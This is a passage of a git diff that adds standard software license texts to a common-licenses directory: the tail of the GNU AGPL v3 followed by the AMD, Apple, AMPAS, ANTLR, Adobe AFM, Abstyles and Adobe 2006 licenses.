+and give all recipients a copy of this License along with the Program.
+
+You may charge any price or no price for each copy that you convey, and you
+may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+You may convey a work based on the Program, or the modifications to produce
+it from the Program, in the form of source code under the terms of section
+4, provided that you also meet all of these conditions:
+
+a) The work must carry prominent notices stating that you modified it, and
+giving a relevant date.
+
+b) The work must carry prominent notices stating that it is released under
+this License and any conditions added under section 7. This requirement modifies
+the requirement in section 4 to "keep intact all notices".
+
+c) You must license the entire work, as a whole, under this License to anyone
+who comes into possession of a copy. This License will therefore apply, along
+with any applicable section 7 additional terms, to the whole of the work,
+and all its parts, regardless of how they are packaged. This License gives
+no permission to license the work in any other way, but it does not invalidate
+such permission if you have separately received it.
+
+d) If the work has interactive user interfaces, each must display Appropriate
+Legal Notices; however, if the Program has interactive interfaces that do
+not display Appropriate Legal Notices, your work need not make them do so.
+
+A compilation of a covered work with other separate and independent works,
+which are not by their nature extensions of the covered work, and which are
+not combined with it such as to form a larger program, in or on a volume of
+a storage or distribution medium, is called an "aggregate" if the compilation
+and its resulting copyright are not used to limit the access or legal rights
+of the compilation's users beyond what the individual works permit. Inclusion
+of a covered work in an aggregate does not cause this License to apply to
+the other parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+You may convey a covered work in object code form under the terms of sections
+4 and 5, provided that you also convey the machine-readable Corresponding
+Source under the terms of this License, in one of these ways:
+
+a) Convey the object code in, or embodied in, a physical product (including
+a physical distribution medium), accompanied by the Corresponding Source fixed
+on a durable physical medium customarily used for software interchange.
+
+b) Convey the object code in, or embodied in, a physical product (including
+a physical distribution medium), accompanied by a written offer, valid for
+at least three years and valid for as long as you offer spare parts or customer
+support for that product model, to give anyone who possesses the object code
+either (1) a copy of the Corresponding Source for all the software in the
+product that is covered by this License, on a durable physical medium customarily
+used for software interchange, for a price no more than your reasonable cost
+of physically performing this conveying of source, or (2) access to copy the
+Corresponding Source from a network server at no charge.
+
+c) Convey individual copies of the object code with a copy of the written
+offer to provide the Corresponding Source. This alternative is allowed only
+occasionally and noncommercially, and only if you received the object code
+with such an offer, in accord with subsection 6b.
+
+d) Convey the object code by offering access from a designated place (gratis
+or for a charge), and offer equivalent access to the Corresponding Source
+in the same way through the same place at no further charge. You need not
+require recipients to copy the Corresponding Source along with the object
+code. If the place to copy the object code is a network server, the Corresponding
+Source may be on a different server (operated by you or a third party) that
+supports equivalent copying facilities, provided you maintain clear directions
+next to the object code saying where to find the Corresponding Source. Regardless
+of what server hosts the Corresponding Source, you remain obligated to ensure
+that it is available for as long as needed to satisfy these requirements.
+
+e) Convey the object code using peer-to-peer transmission, provided you inform
+other peers where the object code and Corresponding Source of the work are
+being offered to the general public at no charge under subsection 6d.
+
+A separable portion of the object code, whose source code is excluded from
+the Corresponding Source as a System Library, need not be included in conveying
+the object code work.
+
+A "User Product" is either (1) a "consumer product", which means any tangible
+personal property which is normally used for personal, family, or household
+purposes, or (2) anything designed or sold for incorporation into a dwelling.
+In determining whether a product is a consumer product, doubtful cases shall
+be resolved in favor of coverage. For a particular product received by a particular
+user, "normally used" refers to a typical or common use of that class of product,
+regardless of the status of the particular user or of the way in which the
+particular user actually uses, or expects or is expected to use, the product.
+A product is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent the
+only significant mode of use of the product.
+
+"Installation Information" for a User Product means any methods, procedures,
+authorization keys, or other information required to install and execute modified
+versions of a covered work in that User Product from a modified version of
+its Corresponding Source. The information must suffice to ensure that the
+continued functioning of the modified object code is in no case prevented
+or interfered with solely because modification has been made.
+
+If you convey an object code work under this section in, or with, or specifically
+for use in, a User Product, and the conveying occurs as part of a transaction
+in which the right of possession and use of the User Product is transferred
+to the recipient in perpetuity or for a fixed term (regardless of how the
+transaction is characterized), the Corresponding Source conveyed under this
+section must be accompanied by the Installation Information. But this requirement
+does not apply if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has been installed
+in ROM).
+
+The requirement to provide Installation Information does not include a requirement
+to continue to provide support service, warranty, or updates for a work that
+has been modified or installed by the recipient, or for the User Product in
+which it has been modified or installed. Access to a network may be denied
+when the modification itself materially and adversely affects the operation
+of the network or violates the rules and protocols for communication across
+the network.
+
+Corresponding Source conveyed, and Installation Information provided, in accord
+with this section must be in a format that is publicly documented (and with
+an implementation available to the public in source code form), and must require
+no special password or key for unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+"Additional permissions" are terms that supplement the terms of this License
+by making exceptions from one or more of its conditions. Additional permissions
+that are applicable to the entire Program shall be treated as though they
+were included in this License, to the extent that they are valid under applicable
+law. If additional permissions apply only to part of the Program, that part
+may be used separately under those permissions, but the entire Program remains
+governed by this License without regard to the additional permissions.
+
+When you convey a copy of a covered work, you may at your option remove any
+additional permissions from that copy, or from any part of it. (Additional
+permissions may be written to require their own removal in certain cases when
+you modify the work.) You may place additional permissions on material, added
+by you to a covered work, for which you have or can give appropriate copyright
+permission.
+
+Notwithstanding any other provision of this License, for material you add
+to a covered work, you may (if authorized by the copyright holders of that
+material) supplement the terms of this License with terms:
+
+a) Disclaiming warranty or limiting liability differently from the terms of
+sections 15 and 16 of this License; or
+
+b) Requiring preservation of specified reasonable legal notices or author
+attributions in that material or in the Appropriate Legal Notices displayed
+by works containing it; or
+
+c) Prohibiting misrepresentation of the origin of that material, or requiring
+that modified versions of such material be marked in reasonable ways as different
+from the original version; or
+
+d) Limiting the use for publicity purposes of names of licensors or authors
+of the material; or
+
+e) Declining to grant rights under trademark law for use of some trade names,
+trademarks, or service marks; or
+
+f) Requiring indemnification of licensors and authors of that material by
+anyone who conveys the material (or modified versions of it) with contractual
+assumptions of liability to the recipient, for any liability that these contractual
+assumptions directly impose on those licensors and authors.
+
+All other non-permissive additional terms are considered "further restrictions"
+within the meaning of section 10. If the Program as you received it, or any
+part of it, contains a notice stating that it is governed by this License
+along with a term that is a further restriction, you may remove that term.
+If a license document contains a further restriction but permits relicensing
+or conveying under this License, you may add to a covered work material governed
+by the terms of that license document, provided that the further restriction
+does not survive such relicensing or conveying.
+
+If you add terms to a covered work in accord with this section, you must place,
+in the relevant source files, a statement of the additional terms that apply
+to those files, or a notice indicating where to find the applicable terms.
+
+Additional terms, permissive or non-permissive, may be stated in the form
+of a separately written license, or stated as exceptions; the above requirements
+apply either way.
+
+ 8. Termination.
+
+You may not propagate or modify a covered work except as expressly provided
+under this License. Any attempt otherwise to propagate or modify it is void,
+and will automatically terminate your rights under this License (including
+any patent licenses granted under the third paragraph of section 11).
+
+However, if you cease all violation of this License, then your license from
+a particular copyright holder is reinstated (a) provisionally, unless and
+until the copyright holder explicitly and finally terminates your license,
+and (b) permanently, if the copyright holder fails to notify you of the violation
+by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently
+if the copyright holder notifies you of the violation by some reasonable means,
+this is the first time you have received notice of violation of this License
+(for any work) from that copyright holder, and you cure the violation prior
+to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses
+of parties who have received copies or rights from you under this License.
+If your rights have been terminated and not permanently reinstated, you do
+not qualify to receive new licenses for the same material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+You are not required to accept this License in order to receive or run a copy
+of the Program. Ancillary propagation of a covered work occurring solely as
+a consequence of using peer-to-peer transmission to receive a copy likewise
+does not require acceptance. However, nothing other than this License grants
+you permission to propagate or modify any covered work. These actions infringe
+copyright if you do not accept this License. Therefore, by modifying or propagating
+a covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+Each time you convey a covered work, the recipient automatically receives
+a license from the original licensors, to run, modify and propagate that work,
+subject to this License. You are not responsible for enforcing compliance
+by third parties with this License.
+
+An "entity transaction" is a transaction transferring control of an organization,
+or substantially all assets of one, or subdividing an organization, or merging
+organizations. If propagation of a covered work results from an entity transaction,
+each party to that transaction who receives a copy of the work also receives
+whatever licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the Corresponding
+Source of the work from the predecessor in interest, if the predecessor has
+it or can get it with reasonable efforts.
+
+You may not impose any further restrictions on the exercise of the rights
+granted or affirmed under this License. For example, you may not impose a
+license fee, royalty, or other charge for exercise of rights granted under
+this License, and you may not initiate litigation (including a cross-claim
+or counterclaim in a lawsuit) alleging that any patent claim is infringed
+by making, using, selling, offering for sale, or importing the Program or
+any portion of it.
+
+ 11. Patents.
+
+A "contributor" is a copyright holder who authorizes use under this License
+of the Program or a work on which the Program is based. The work thus licensed
+is called the contributor's "contributor version".
+
+A contributor's "essential patent claims" are all patent claims owned or controlled
+by the contributor, whether already acquired or hereafter acquired, that would
+be infringed by some manner, permitted by this License, of making, using,
+or selling its contributor version, but do not include claims that would be
+infringed only as a consequence of further modification of the contributor
+version. For purposes of this definition, "control" includes the right to
+grant patent sublicenses in a manner consistent with the requirements of this
+License.
+
+Each contributor grants you a non-exclusive, worldwide, royalty-free patent
+license under the contributor's essential patent claims, to make, use, sell,
+offer for sale, import and otherwise run, modify and propagate the contents
+of its contributor version.
+
+In the following three paragraphs, a "patent license" is any express agreement
+or commitment, however denominated, not to enforce a patent (such as an express
+permission to practice a patent or covenant not to sue for patent infringement).
+To "grant" such a patent license to a party means to make such an agreement
+or commitment not to enforce a patent against the party.
+
+If you convey a covered work, knowingly relying on a patent license, and the
+Corresponding Source of the work is not available for anyone to copy, free
+of charge and under the terms of this License, through a publicly available
+network server or other readily accessible means, then you must either (1)
+cause the Corresponding Source to be so available, or (2) arrange to deprive
+yourself of the benefit of the patent license for this particular work, or
+(3) arrange, in a manner consistent with the requirements of this License,
+to extend the patent
+
+license to downstream recipients. "Knowingly relying" means you have actual
+knowledge that, but for the patent license, your conveying the covered work
+in a country, or your recipient's use of the covered work in a country, would
+infringe one or more identifiable patents in that country that you have reason
+to believe are valid.
+
+If, pursuant to or in connection with a single transaction or arrangement,
+you convey, or propagate by procuring conveyance of, a covered work, and grant
+a patent license to some of the parties receiving the covered work authorizing
+them to use, propagate, modify or convey a specific copy of the covered work,
+then the patent license you grant is automatically extended to all recipients
+of the covered work and works based on it.
+
+A patent license is "discriminatory" if it does not include within the scope
+of its coverage, prohibits the exercise of, or is conditioned on the non-exercise
+of one or more of the rights that are specifically granted under this License.
+You may not convey a covered work if you are a party to an arrangement with
+a third party that is in the business of distributing software, under which
+you make payment to the third party based on the extent of your activity of
+conveying the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory patent
+license (a) in connection with copies of the covered work conveyed by you
+(or copies made from those copies), or (b) primarily for and in connection
+with specific products or compilations that contain the covered work, unless
+you entered into that arrangement, or that patent license was granted, prior
+to 28 March 2007.
+
+Nothing in this License shall be construed as excluding or limiting any implied
+license or other defenses to infringement that may otherwise be available
+to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+If conditions are imposed on you (whether by court order, agreement or otherwise)
+that contradict the conditions of this License, they do not excuse you from
+the conditions of this License. If you cannot convey a covered work so as
+to satisfy simultaneously your obligations under this License and any other
+pertinent obligations, then as a consequence you may
+
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey the
+Program, the only way you could satisfy both those terms and this License
+would be to refrain entirely from conveying the Program.
+
+ 13. Remote Network Interaction; Use with the GNU General Public License.
+
+Notwithstanding any other provision of this License, if you modify the Program,
+your modified version must prominently offer all users interacting with it
+remotely through a computer network (if your version supports such interaction)
+an opportunity to receive the Corresponding Source of your version by providing
+access to the Corresponding Source from a network server at no charge, through
+some standard or customary means of facilitating copying of software. This
+Corresponding Source shall include the Corresponding Source for any work covered
+by version 3 of the GNU General Public License that is incorporated pursuant
+to the following paragraph.
+
+Notwithstanding any other provision of this License, you have permission to
+link or combine any covered work with a work licensed under version 3 of the
+GNU General Public License into a single combined work, and to convey the
+resulting work. The terms of this License will continue to apply to the part
+which is the covered work, but the work with which it is combined will remain
+governed by version 3 of the GNU General Public License.
+
+ 14. Revised Versions of this License.
+
+The Free Software Foundation may publish revised and/or new versions of the
+GNU Affero General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to address
+new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies
+that a certain numbered version of the GNU Affero General Public License "or
+any later version" applies to it, you have the option of following the terms
+and conditions either of that numbered version or of any later version published
+by the Free Software Foundation. If the Program does not specify a version
+number of the GNU Affero General Public License, you may choose any version
+ever published by the Free Software Foundation.
+
+If the Program specifies that a proxy can decide which future versions of
+the GNU Affero General Public License can be used, that proxy's public statement
+of acceptance of a version permanently authorizes you to choose that version
+for the Program.
+
+Later license versions may give you additional or different permissions. However,
+no additional obligations are imposed on any author or copyright holder as
+a result of your choosing to follow a later version.
+
+ 15. Disclaimer of Warranty.
+
+THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE
+LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
+EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM
+PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR
+CORRECTION.
+
+ 16. Limitation of Liability.
+
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL
+ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM
+AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL,
+INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO
+USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED
+INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE
+PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER
+PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+If the disclaimer of warranty and limitation of liability provided above cannot
+be given local legal effect according to their terms, reviewing courts shall
+apply local law that most closely approximates an absolute waiver of all civil
+liability in connection with the Program, unless a warranty or assumption
+of liability accompanies a copy of the Program in return for a fee. END OF
+TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to the public, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach
+them to the start of each source file to most effectively state the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+<one line to give the program's name and a brief idea of what it does.>
+
+Copyright (C) <year> <name of author>
+
+This program is free software: you can redistribute it and/or modify it under
+the terms of the GNU Affero General Public License as published by the Free
+Software Foundation, either version 3 of the License, or (at your option)
+any later version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
+details.
+
+You should have received a copy of the GNU Affero General Public License along
+with this program. If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If your software can interact with users remotely through a computer network,
+you should also make sure that it provides a way for users to get its source.
+For example, if your program is a web application, its interface could display
+a "Source" link that leads users to an archive of the code. There are many
+ways you could offer source, and different solutions will be better for different
+programs; see section 13 for the specific requirements.
+
+You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary. For
+more information on this, and how to apply and follow the GNU AGPL, see <https://www.gnu.org/licenses/>.
diff --git a/meta/files/common-licenses/AMDPLPA b/meta/files/common-licenses/AMDPLPA
new file mode 100644
index 0000000000..a58a8525f8
--- /dev/null
+++ b/meta/files/common-licenses/AMDPLPA
@@ -0,0 +1,20 @@
+Copyright (c) 2006, 2007 Advanced Micro Devices, Inc.
+All rights reserved.
+
+Redistribution and use in any form of this material and any product thereof including software in source or binary forms, along with any related documentation, with or without modification ("this material"), is permitted provided that the following conditions are met:
+
+ Redistributions of source code of any software must retain the above copyright notice and all terms of this license as part of the code.
+
+ Redistributions in binary form of any software must reproduce the above copyright notice and all terms of this license in any related documentation and/or other materials.
+
+ Neither the names nor trademarks of Advanced Micro Devices, Inc. or any copyright holders or contributors may be used to endorse or promote products derived from this material without specific prior written permission.
+
+ Notice about U.S. Government restricted rights: This material is provided with "RESTRICTED RIGHTS." Use, duplication or disclosure by the U.S. Government is subject to the full extent of restrictions set forth in FAR52.227 and DFARS252.227 et seq., or any successor or applicable regulations. Use of this material by the U.S. Government constitutes acknowledgment of the proprietary rights of Advanced Micro Devices, Inc. and any copyright holders and contributors.
+
+ ANY BREACH OF ANY TERM OF THIS LICENSE SHALL RESULT IN THE IMMEDIATE REVOCATION OF ALL RIGHTS TO REDISTRIBUTE, ACCESS OR USE THIS MATERIAL.
+
+THIS MATERIAL IS PROVIDED BY ADVANCED MICRO DEVICES, INC. AND ANY COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" IN ITS CURRENT CONDITION AND WITHOUT ANY REPRESENTATIONS, GUARANTEE, OR WARRANTY OF ANY KIND OR IN ANY WAY RELATED TO SUPPORT, INDEMNITY, ERROR FREE OR UNINTERRUPTED OPERATION, OR THAT IT IS FREE FROM DEFECTS OR VIRUSES. ALL OBLIGATIONS ARE HEREBY DISCLAIMED - WHETHER EXPRESS, IMPLIED, OR STATUTORY - INCLUDING, BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, ACCURACY, COMPLETENESS, OPERABILITY, QUALITY OF SERVICE, OR NON-INFRINGEMENT. IN NO EVENT SHALL ADVANCED MICRO DEVICES, INC. OR ANY COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, PUNITIVE, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, REVENUE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED OR BASED ON ANY THEORY OF LIABILITY ARISING IN ANY WAY RELATED TO THIS MATERIAL, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THE ENTIRE AND AGGREGATE LIABILITY OF ADVANCED MICRO DEVICES, INC. AND ANY COPYRIGHT HOLDERS AND CONTRIBUTORS SHALL NOT EXCEED TEN DOLLARS (US $10.00). ANYONE REDISTRIBUTING OR ACCESSING OR USING THIS MATERIAL ACCEPTS THIS ALLOCATION OF RISK AND AGREES TO RELEASE ADVANCED MICRO DEVICES, INC. AND ANY COPYRIGHT HOLDERS AND CONTRIBUTORS FROM ANY AND ALL LIABILITIES, OBLIGATIONS, CLAIMS, OR DEMANDS IN EXCESS OF TEN DOLLARS (US $10.00). THE FOREGOING ARE ESSENTIAL TERMS OF THIS LICENSE AND, IF ANY OF THESE TERMS ARE CONSTRUED AS UNENFORCEABLE, FAIL IN ESSENTIAL PURPOSE, OR BECOME VOID OR DETRIMENTAL TO ADVANCED MICRO DEVICES, INC. OR ANY COPYRIGHT HOLDERS OR CONTRIBUTORS FOR ANY REASON, THEN ALL RIGHTS TO REDISTRIBUTE, ACCESS OR USE THIS MATERIAL SHALL TERMINATE IMMEDIATELY. MOREOVER, THE FOREGOING SHALL SURVIVE ANY EXPIRATION OR TERMINATION OF THIS LICENSE OR ANY AGREEMENT OR ACCESS OR USE RELATED TO THIS MATERIAL.
+
+NOTICE IS HEREBY PROVIDED, AND BY REDISTRIBUTING OR ACCESSING OR USING THIS MATERIAL SUCH NOTICE IS ACKNOWLEDGED, THAT THIS MATERIAL MAY BE SUBJECT TO RESTRICTIONS UNDER THE LAWS AND REGULATIONS OF THE UNITED STATES OR OTHER COUNTRIES, WHICH INCLUDE BUT ARE NOT LIMITED TO, U.S. EXPORT CONTROL LAWS SUCH AS THE EXPORT ADMINISTRATION REGULATIONS AND NATIONAL SECURITY CONTROLS AS DEFINED THEREUNDER, AS WELL AS STATE DEPARTMENT CONTROLS UNDER THE U.S. MUNITIONS LIST. THIS MATERIAL MAY NOT BE USED, RELEASED, TRANSFERRED, IMPORTED, EXPORTED AND/OR RE- EXPORTED IN ANY MANNER PROHIBITED UNDER ANY APPLICABLE LAWS, INCLUDING U.S. EXPORT CONTROL LAWS REGARDING SPECIFICALLY DESIGNATED PERSONS, COUNTRIES AND NATIONALS OF COUNTRIES SUBJECT TO NATIONAL SECURITY CONTROLS. MOREOVER, THE FOREGOING SHALL SURVIVE ANY EXPIRATION OR TERMINATION OF ANY LICENSE OR AGREEMENT OR ACCESS OR USE RELATED TO THIS MATERIAL.
+
+This license forms the entire agreement regarding the subject matter hereof and supersedes all proposals and prior discussions and writings between the parties with respect thereto. This license does not affect any ownership, rights, title, or interest in, or relating to, this material. No terms of this license can be modified or waived, and no breach of this license can be excused, unless done so in a writing signed by all affected parties. Each term of this license is separately enforceable. If any term of this license is determined to be or becomes unenforceable or illegal, such term shall be reformed to the minimum extent necessary in order for this license to remain in effect in accordance with its terms as modified by such reformation. This license shall be governed by and construed in accordance with the laws of the State of Texas without regard to rules on conflicts of law of any state or jurisdiction or the United Nations Convention on the International Sale of Goods. All disputes arising out of this license shall be subject to the jurisdiction of the federal and state courts in Austin, Texas, and all defenses are hereby waived concerning personal jurisdiction and venue of these courts.
diff --git a/meta/files/common-licenses/AML b/meta/files/common-licenses/AML
new file mode 100644
index 0000000000..a9d91ffc8e
--- /dev/null
+++ b/meta/files/common-licenses/AML
@@ -0,0 +1,9 @@
+Copyright: Copyright (c) 2006 by Apple Computer, Inc., All Rights Reserved.
+
+IMPORTANT: This Apple software is supplied to you by Apple Computer, Inc. ("Apple") in consideration of your agreement to the following terms, and your use, installation, modification or redistribution of this Apple software constitutes acceptance of these terms. If you do not agree with these terms, please do not use, install, modify or redistribute this Apple software.
+
+In consideration of your agreement to abide by the following terms, and subject to these terms, Apple grants you a personal, non-exclusive license, under Apple's copyrights in this original Apple software (the "Apple Software"), to use, reproduce, modify and redistribute the Apple Software, with or without modifications, in source and/or binary forms; provided that if you redistribute the Apple Software in its entirety and without modifications, you must retain this notice and the following text and disclaimers in all such redistributions of the Apple Software. Neither the name, trademarks, service marks or logos of Apple Computer, Inc. may be used to endorse or promote products derived from the Apple Software without specific prior written permission from Apple. Except as expressly stated in this notice, no other rights or licenses, express or implied, are granted by Apple herein, including but not limited to any patent rights that may be infringed by your derivative works or by other works in which the Apple Software may be incorporated.
+
+The Apple Software is provided by Apple on an "AS IS" basis. APPLE MAKES NO WARRANTIES, EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION THE IMPLIED WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, REGARDING THE APPLE SOFTWARE OR ITS USE AND OPERATION ALONE OR IN COMBINATION WITH YOUR PRODUCTS.
+
+IN NO EVENT SHALL APPLE BE LIABLE FOR ANY SPECIAL, INDIRECT, INCIDENTAL OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) ARISING IN ANY WAY OUT OF THE USE, REPRODUCTION, MODIFICATION AND/OR DISTRIBUTION OF THE APPLE SOFTWARE, HOWEVER CAUSED AND WHETHER UNDER THEORY OF CONTRACT, TORT (INCLUDING NEGLIGENCE), STRICT LIABILITY OR OTHERWISE, EVEN IF APPLE HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/AMPAS b/meta/files/common-licenses/AMPAS
new file mode 100644
index 0000000000..0fc771d755
--- /dev/null
+++ b/meta/files/common-licenses/AMPAS
@@ -0,0 +1,13 @@
+Copyright (c) 2006 Academy of Motion Picture Arts and Sciences ("A.M.P.A.S."). Portions contributed by others as indicated. All rights reserved.
+
+A world-wide, royalty-free, non-exclusive right to distribute, copy, modify, create derivatives, and use, in source and binary forms, is hereby granted, subject to acceptance of this license. Performance of any of the aforementioned acts indicates acceptance to be bound by the following terms and conditions:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the Disclaimer of Warranty.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the Disclaimer of Warranty in the documentation and/or other materials provided with the distribution.
+
+ * Nothing in this license shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of A.M.P.A.S. or any contributors, except as expressly stated herein, and neither the name of A.M.P.A.S. nor of any other contributors to this software, may be used to endorse or promote products derived from this software without specific prior written permission of A.M.P.A.S. or contributor, as appropriate.
+
+This license shall be governed by the laws of the State of California, and subject to the jurisdiction of the courts therein.
+
+Disclaimer of Warranty: THIS SOFTWARE IS PROVIDED BY A.M.P.A.S. AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT ARE DISCLAIMED. IN NO EVENT SHALL A.M.P.A.S., ANY CONTRIBUTORS OR DISTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/ANTLR-PD-fallback b/meta/files/common-licenses/ANTLR-PD-fallback
new file mode 100644
index 0000000000..12bfe73738
--- /dev/null
+++ b/meta/files/common-licenses/ANTLR-PD-fallback
@@ -0,0 +1,7 @@
+ANTLR 2 License
+
+We reserve no legal rights to the ANTLR--it is fully in the public domain. An individual or company may do whatever they wish with source code distributed with ANTLR or the code generated by ANTLR, including the incorporation of ANTLR, or its output, into commerical software.
+
+We encourage users to develop software with ANTLR. However, we do ask that credit is given to us for developing ANTLR. By "credit", we mean that if you use ANTLR or incorporate any source code into one of your programs (commercial product, research project, or otherwise) that you acknowledge this fact somewhere in the documentation, research report, etc... If you like ANTLR and have developed a nice tool with the output, please mention that you developed it using ANTLR. In addition, we ask that the headers remain intact in our source code. As long as these guidelines are kept, we expect to continue enhancing this system and expect to make other tools available as they are completed.
+
+In countries where the Public Domain status of the work may not be valid, the author grants a copyright licence to the general public to deal in the work without restriction and permission to sublicence derivates under the terms of any (OSI approved) Open Source licence.
diff --git a/meta/files/common-licenses/APAFML b/meta/files/common-licenses/APAFML
new file mode 100644
index 0000000000..a7824e26ca
--- /dev/null
+++ b/meta/files/common-licenses/APAFML
@@ -0,0 +1,3 @@
+Copyright (c) 1985, 1987, 1989, 1990, 1991, 1992, 1993, 1997 Adobe Systems Incorporated. All Rights Reserved.
+
+This file and the 14 PostScript(R) AFM files it accompanies may be used, copied, and distributed for any purpose and without charge, with or without modification, provided that all copyright notices are retained; that the AFM files are not distributed without this file; that all modifications to this file or any of the AFM files are prominently noted in the modified file(s); and that this paragraph is not modified. Adobe Systems has no responsibility or obligation to support the use of the AFM files.
diff --git a/meta/files/common-licenses/Abstyles b/meta/files/common-licenses/Abstyles
new file mode 100644
index 0000000000..96027770ec
--- /dev/null
+++ b/meta/files/common-licenses/Abstyles
@@ -0,0 +1,11 @@
+This is APREAMBL.TEX, version 1.10e, written by Hans-Hermann Bode
+(HHBODE@DOSUNI1.BITNET), for the BibTeX `adaptable' family, version 1.10.
+See the file APREAMBL.DOC for a detailed documentation.
+
+This program is distributed WITHOUT ANY WARRANTY, express or implied.
+
+Copyright (C) 1991, 1992 Hans-Hermann Bode
+
+Permission is granted to make and distribute verbatim copies of this document provided that the copyright notice and this permission notice are preserved on all copies.
+
+Permission is granted to copy and distribute modified versions of this document under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.
diff --git a/meta/files/common-licenses/Adobe-2006 b/meta/files/common-licenses/Adobe-2006
new file mode 100644
index 0000000000..d6fb2634a1
--- /dev/null
+++ b/meta/files/common-licenses/Adobe-2006
@@ -0,0 +1,12 @@
+Adobe Systems Incorporated(r) Source Code License Agreement
+Copyright(c) 2006 Adobe Systems Incorporated. All rights reserved.
+
+Please read this Source Code License Agreement carefully before using the source code.
+
+Adobe Systems Incorporated grants to you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license, to reproduce, prepare derivative works of, publicly display, publicly perform, and distribute this source code and such derivative works in source or object code form without any attribution requirements.
+
+The name "Adobe Systems Incorporated" must not be used to endorse or promote products derived from the source code without prior written permission.
+
